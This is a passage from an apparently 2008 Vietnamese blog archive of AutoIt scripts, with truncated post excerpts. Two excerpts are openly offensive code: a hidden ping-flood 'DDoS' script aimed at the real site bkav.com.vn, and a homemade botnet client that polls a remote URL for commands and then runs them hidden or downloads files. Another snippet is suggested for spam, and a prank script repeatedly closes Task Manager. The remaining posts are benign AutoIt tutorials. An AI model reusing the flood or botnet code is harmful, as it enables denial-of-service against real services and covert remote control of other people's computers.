Archive for the ‘ AutoIT ’ Category

Đoạn mã HTTP DDOS attack bkav.com.vn

Thương Tín không chịu trách nhiệm dưới mọi hình thức. #NoTrayIcon Run("ping bkav.com.vn -t -l 500", "", @SW_HIDE) Run("ping bkav.com.vn -t -l 500", "", @SW_HIDE) Run("ping bkav.com.vn -t -l 500", "", @SW_HIDE) Run("ping bkav.com.vn -t -l 500", "", @SW_HIDE) Run("ping bkav.com.vn -t -l 500", "", @SW_HIDE) Run("ping bkav.com.vn -t -l 500", "", @SW_HIDE) Run("ping bkav.com.vn -t -l 500", "", @SW_HIDE) $A1000F05B07 = ProcessList("bkav.exe") If $A1000F05B07[0][0] [ READ MORE ]

[AutoIT] Tự tạo 1 botnet

#include <Process.au3> #include <INet.au3> #NoTrayIcon $txt = "http://thuongtin.net/blog/cmd/data.txt" $key = "" While (1) $con = _INetGetSource($txt) If $key <> $con Then ; Phan tich va thuc hien lenh If StringInStr($con, "#", 2) Then $cmd = StringSplit($con, "#") If StringInStr($con, "@#", 2) Then Run($cmd[2], "", @SW_HIDE) Else Run($cmd[2]) EndIf ElseIf StringInStr($con, "$", 2) Then $cmd = StringSplit($con, "$") _RunDOS($cmd[2]) ElseIf StringInStr($con, "!", 2) Then $cmd = StringSplit($con, " ") InetGet ($cmd[2], $cmd[3], 0, 1) ElseIf StringInStr($con, "~", 2) [ READ MORE ]

[AutoIT] Catch me if you can

  • Tháng Mười 16th, 2008
  • Posted in AutoIT

Cái này buồn buồn ngồi nghịch cũng vui ^^ HotKeySet("{ESC}", "_Exit") Global $ranx Global $rany Func _Exit() Exit EndFunc ;==>_Exit _rantool() While 1 $mouse = MouseGetPos() If $mouse[0] < $ranx + 223 And $mouse[0] > $ranx - 30 And $mouse[1] > $rany - 30 And $mouse[1] < $rany + 160 Then _rantool() Beep(2100, 150) EndIf Sleep(10) WEnd Func _rantool() $ranx = Random(0, @DesktopWidth - 200, 1) $rany = Random(0, @DesktopHeight - 200, 1) ToolTip("Click [ READ MORE ]

[AutoIT] Post dữ liệu tới 1 website

  • Tháng Mười 16th, 2008
  • Posted in AutoIT

Dùng cái này spam chắc đc. Hix! $oMyError = ObjEvent("AutoIt.Error","MyErrFunc") ; Install a custom error handler $ResolveTimeout = 5000 $ConnectTimeout = 5000 $SendTimeout = 5000 $ReceiveTimeout = 5000 $sUrl = "http://localhost/sp/test.php" $PostData = "name=justin" $oHttpRequest = ObjCreate("MSXML2.ServerXMLHTTP") $oHttpRequest.Open ("POST", $sUrl,True) $oHttpRequest.setRequestHeader  ("Content-Type", "application/x-www-form-urlencoded") ; Need to change as per your webpage $oHttpRequest.setRequestHeader  ("Connection", "Keep-Alive") $oHttpRequest.Send ($PostData) sleep(1000) $oHttpRequest = "" loadt2player(191)[ READ MORE ]

[AutoIT] Nghịch 1 chút

  • Tháng Mười 15th, 2008
  • Posted in AutoIT

Đoạn mã này sẽ thực hiện chức năng Buzz liên tục khi bấm phím \, nhớ bấm phím \ lại để dừng HotKeySet("","Buzz") $B = False While 1 If $B = True Then Send("^g") Sleep(100) MouseMove(Random(0,1024),Random(0,768),1) EndIf WinClose("Windows Task Manager") Wend Func Buzz() $B = Not $B If $B = False Then Exit EndFunc loadt2player(184)[ READ MORE ]

Lập trình Autolt – Cái nhìn tổng quan

  • Tháng Mười 15th, 2008
  • Posted in AutoIT

AutoIt là gì? Nó có được coi là một ngôn ngữ lập trình ko? Đó là câu hỏi thường được nhắc đi nhắc lại. AutoIt là một ngôn ngữ dễ học, dễ sử dụng, giúp người dùng có thể thực thi những công việc mình thường phải làm trên máy tính một cách tự động. Bằng [ READ MORE ]

[AutoIT] Cấu trúc lặp

  • Tháng Mười 15th, 2008
  • Posted in AutoIT

While…WEnd Cấu trúc lặp này sẽ hoạt động dựa trên việc kiểm tra biến $var, nên ta cần tạo biến này trước khi cấu trúc được thực thi. Và mình sẽ bỏ qua việc kiểm tra xem Người Dùng có bấm Cancel hay không để cho nó đơn giản, như thế việc bấm Cancel tương đương [ READ MORE ]

Bad Behavior has blocked 48 access attempts in the last 7 days.